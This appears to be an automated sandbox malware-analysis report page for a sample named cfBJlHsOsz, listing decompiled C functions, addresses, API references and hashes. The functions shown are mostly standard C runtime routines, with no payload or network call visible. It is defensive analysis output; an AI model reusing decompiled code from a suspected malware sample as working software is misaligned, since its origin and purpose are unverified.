Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 412d4cf30736d27f134b7ef49edf89482e7919c0a4066202b8e723676a57f1c4
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: B9C15BB3C0AAB30AC736812E416812BEAA26FD165131FC7B69CD43F3CE963B5D1195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0040999D Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040999D(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t293 == 0) {
										L59:
										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

0x0040999d
0x0040999d
0x004099a3
0x00409a16
0x00409a18
0x00409a1a
0x00000000
0x00000000
0x00409a20
0x00409a26
0x00409aa5
0x00409aa7
0x00409aa9
0x00000000
0x00000000
0x00409aaf
0x00409ab5
0x00409b34
0x00409b36
0x00409b38
0x00000000
0x00000000
0x00409b3e
0x00409b44
0x00409bc3
0x00409bc5
0x00409bc7
0x00000000
0x00000000
0x00409bd3
0x00409c53
0x00409c55
0x00409c57
0x00000000
0x00000000
0x00409c5d
0x00409c63
0x00409ce2
0x00409ce4
0x00409ce6
0x00000000
0x00000000
0x00409cec
0x00409cf2
0x00409d63
0x00409d65
0x00409d67
0x00409d69
0x00409d69
0x00409d6b
0x0040aac7
0x0040aac7
0x00409cfb
0x00409cfd
0x00409d0e
0x00409d16
0x00409d18
0x00409d29
0x00409d31
0x00409d33
0x00409d48
0x00409d50
0x00409d52
0x00409d5f
0x00409d5f
0x00000000
0x00409d52
0x00409d3c
0x00409d42
0x00000000
0x00000000
0x00409d44
0x00409d44
0x00000000
0x00409d44
0x00409d21
0x00409d27
0x00000000
0x00000000
0x00000000
0x00409d27
0x00409d06
0x00409d0c
0x00000000
0x00000000
0x00000000
0x00409d0c
0x00409c6c
0x00409c6e
0x00409c85
0x00409c8d
0x00409c8f
0x00409ca6
0x00409cae
0x00409cb0
0x00409cc7
0x00409ccf
0x00409cd1
0x00409cde
0x00409cde
0x00000000
0x00409cd1
0x00409cbd
0x00409cc1
0x00000000
0x00000000
0x00000000
0x00409cc1
0x00409c9c
0x00409ca0
0x00000000
0x00000000
0x00000000
0x00409ca0
0x00409c7b
0x00409c7f
0x00000000
0x00000000
0x00000000
0x00409c7f
0x00409bdd
0x00409bdf
0x00409bf6
0x00409bfe
0x00409c00
0x00409c17
0x00409c1f
0x00409c21
0x00409c38
0x00409c40
0x00409c42
0x00409c4f
0x00409c4f
0x00000000
0x00409c42
0x00409c2e
0x00409c32
0x00000000
0x00000000
0x00000000
0x00409c32
0x00409c0d
0x00409c11
0x00000000
0x00000000
0x00000000
0x00409c11
0x00409bec
0x00409bf0
0x00000000
0x00000000
0x00000000
0x00409bf0
0x00409b4d
0x00409b4f
0x00409b66
0x00409b6e
0x00409b70
0x00409b87
0x00409b8f
0x00409b91
0x00409ba8
0x00409bb0
0x00409bb2
0x00409bbf
0x00409bbf
0x00000000
0x00409bb2
0x00409b9e
0x00409ba2
0x00000000
0x00000000
0x00000000
0x00409ba2
0x00409b7d
0x00409b81
0x00000000
0x00000000
0x00000000
0x00409b81
0x00409b5c
0x00409b60
0x00000000
0x00000000
0x00000000
0x00409b60
0x00409abe
0x00409ac0
0x00409ad7
0x00409adf
0x00409ae1
0x00409af8
0x00409b00
0x00409b02
0x00409b19
0x00409b21
0x00409b23
0x00409b30
0x00409b30
0x00000000
0x00409b23
0x00409b0f
0x00409b13
0x00000000
0x00000000
0x00000000
0x00409b13
0x00409aee
0x00409af2
0x00000000
0x00000000
0x00000000
0x00409af2
0x00409acd
0x00409ad1
0x00000000
0x00000000
0x00000000
0x00409ad1
0x00409a2f
0x00409a31
0x00409a48
0x00409a50
0x00409a52
0x00409a69
0x00409a71
0x00409a73
0x00409a8a
0x00409a92
0x00409a94
0x00409aa1
0x00409aa1
0x00000000
0x00409a94
0x00409a80
0x00409a84
0x00000000
0x00000000
0x00000000
0x00409a84
0x00409a5f
0x00409a63
0x00000000
0x00000000
0x00000000
0x00409a63
0x00409a3e
0x00409a42
0x00000000
0x00000000
0x00000000
0x004099a5
0x004099a5
0x004099a8
0x004099ac
0x004099ae
0x004099c1
0x004099c1
0x004099c5
0x004099c9
0x004099cb
0x004099de
0x004099de
0x004099e2
0x004099e6
0x004099e8
0x004099fb
0x004099fb
0x004099ff
0x00409a03
0x00409a05
0x00409a0b
0x00409a0e
0x00409a12
0x00409a12
0x00000000
0x00409a05
0x004099ee
0x004099f1
0x004099f5
0x004099f9
0x00000000
0x00000000
0x00000000
0x004099f9
0x004099d1
0x004099d4
0x004099d8
0x004099dc
0x00000000
0x00000000
0x00000000
0x004099dc
0x004099b4
0x004099b7
0x004099bb
0x004099bf
0x00000000
0x00000000
0x00000000
0x004099bf
0x00409996
0x00409996
0x00000000

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 77be0134a07b7388ba74922263e90025baf36b59ded5381d4d66550d74f743f6
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: F3C15DB3D0E9B30AC735812E415822BEAA26FD165032EC7B69CD43F3CED23A5D0195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B154 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d0bfc2ef7b64e396843138ab717a1f3c293dc8ee292486fa54476fd2f3b6864
Instruction ID: 4846ecdc97f6051c49a183e7a0df1eb7adb92a64571d61eeb72e4ce797d40a87
Opcode Fuzzy Hash: 6d0bfc2ef7b64e396843138ab717a1f3c293dc8ee292486fa54476fd2f3b6864
Instruction Fuzzy Hash: DDE0DF32650104ABC7219A0ADC40DC3F7E9FB987F070A4426FD8483620C334FC40C6D4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CAE9 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E0040CAE9(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x419e28);
				E0040EB0C(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E0040DD55(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x418600;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x43d570;
				E004100F0(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E0040CBBE();
				E004100F0(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x43db78; // 0x43daa0
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E0040F6F9( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E0040EB51(E0040CBC7());
			}

0x0040cae9
0x0040cae9
0x0040caeb
0x0040caf0
0x0040caf5
0x0040cafb
0x0040cb03
0x0040cb06
0x0040cb0b
0x0040cb0c
0x0040cb0f
0x0040cb12
0x0040cb1c
0x0040cb21
0x0040cb29
0x0040cb31
0x0040cb41
0x0040cb41
0x0040cb47
0x0040cb4a
0x0040cb51
0x0040cb58
0x0040cb61
0x0040cb67
0x0040cb6e
0x0040cb74
0x0040cb7b
0x0040cb82
0x0040cb88
0x0040cb8b
0x0040cb8e
0x0040cb93
0x0040cb95
0x0040cb9a
0x0040cb9a
0x0040cba0
0x0040cba6
0x0040cbb7

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00419E28,0000000C,0040CC24,00000000,00000000,?,?,0040D989,0040BCB2,?,00407BEA,00404295,0000000F), ref: 0040CAFB
__crt_waiting_on_module_handle.LIBCMT ref: 0040CB06

Part of subcall function 0040DD55: Sleep.KERNEL32(000003E8,00000000,?,0040CA4C,KERNEL32.DLL,?,0040CA98,?,?,0040D989,0040BCB2,?,00407BEA,00404295,0000000F), ref: 0040DD61
Part of subcall function 0040DD55: GetModuleHandleW.KERNEL32(?,?,0040CA4C,KERNEL32.DLL,?,0040CA98,?,?,0040D989,0040BCB2,?,00407BEA,00404295,0000000F), ref: 0040DD6A

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0040CB2F
GetProcAddress.KERNEL32(?,DecodePointer), ref: 0040CB3F
__lock.LIBCMT ref: 0040CB61
InterlockedIncrement.KERNEL32(0043D570), ref: 0040CB6E
__lock.LIBCMT ref: 0040CB82
___addlocaleref.LIBCMT ref: 0040CBA0

Strings

KERNEL32.DLL, xrefs: 0040CAF5, 0040CAFA, 0040CB05
EncodePointer, xrefs: 0040CB23
DecodePointer, xrefs: 0040CB37

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: bb392ba37dc3867d0aa2a5ca7741670f5f10efbde4ef453536be4effb5d4a5f8
Instruction ID: d8371ec1effa4fd4860e2918831cdcd214fbf6eebfdebda9fce7a06971deb577
Opcode Fuzzy Hash: bb392ba37dc3867d0aa2a5ca7741670f5f10efbde4ef453536be4effb5d4a5f8
Instruction Fuzzy Hash: 3B116671944701DED720EF7AE846B9ABBF0AF04314F10452FE499A32D1CB78A541CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C029 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0040C029(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x419d88);
				E0040EB0C(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E00409377(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E0040CC49(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E0040CC49(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E0040CC49(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E0040CC49(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0040941C(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E0040C14F(_t48, _t53, _t55, _t57, _t61);
				return E0040EB51( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x0040c029
0x0040c029
0x0040c029
0x0040c02b
0x0040c030
0x0040c035
0x0040c037
0x0040c03a
0x0040c03d
0x0040c040
0x0040c047
0x0040c058
0x0040c066
0x0040c074
0x0040c07c
0x0040c08a
0x0040c090
0x0040c097
0x0040c09a
0x0040c0b0
0x0040c0b3
0x0040c128
0x0040c12f
0x0040c136
0x0040c143

APIs

__CreateFrameInfo.LIBCMT ref: 0040C051

Part of subcall function 00409377: __getptd.LIBCMT ref: 00409385
Part of subcall function 00409377: __getptd.LIBCMT ref: 00409393

__getptd.LIBCMT ref: 0040C05B

Part of subcall function 0040CC49: __getptd_noexit.LIBCMT ref: 0040CC4C
Part of subcall function 0040CC49: __amsg_exit.LIBCMT ref: 0040CC59

__getptd.LIBCMT ref: 0040C069
__getptd.LIBCMT ref: 0040C077
__getptd.LIBCMT ref: 0040C082
_CallCatchBlock2.LIBCMT ref: 0040C0A8

Part of subcall function 0040941C: __CallSettingFrame@12.LIBCMT ref: 00409468

Part of subcall function 0040C14F: __getptd.LIBCMT ref: 0040C15E
Part of subcall function 0040C14F: __getptd.LIBCMT ref: 0040C16C

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 4b0ee41254c4ad0aacdeeea0173e8c29a2d7955d2bad69a96fc5289d5144500b
Instruction ID: 76445a0a1edfca334cca809b331edba92e020f97cc5fbb1f41ed15f5957ec368
Opcode Fuzzy Hash: 4b0ee41254c4ad0aacdeeea0173e8c29a2d7955d2bad69a96fc5289d5144500b
Instruction Fuzzy Hash: 7E11C971D04209DFDB00EFA6D886AAE7BB4FF08314F10856AF814A7292DB3999159F54

Uniqueness

Uniqueness Score: -1.00%

Function 0040BD78 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040BD78(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E0040CC49(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E0040CC49(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E0040CC49(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x419e78);
						E0040EB0C(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E0040CC49(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E0040EB51(E00410CD8(_t23, _t24, _t25));
					}
				}
			}

0x0040bd78
0x0040bd82
0x0040bd89
0x0040bda8
0x0040bdaf
0x0040bdb6
0x0040bdbb
0x0040bdbb
0x0040bdbb
0x00000000
0x0040bd8b
0x0040bd8b
0x0040bd90
0x0040bdbd
0x0040bdbd
0x0040bdc0
0x0040bd92
0x0040bd97
0x0040cf1f
0x0040cf21
0x0040cf26
0x0040cf30
0x0040cf35
0x0040cf37
0x0040cf3b
0x0040cf46
0x0040cf46
0x0040cf57
0x0040cf57
0x0040bd90

APIs

__getptd.LIBCMT ref: 0040BD92

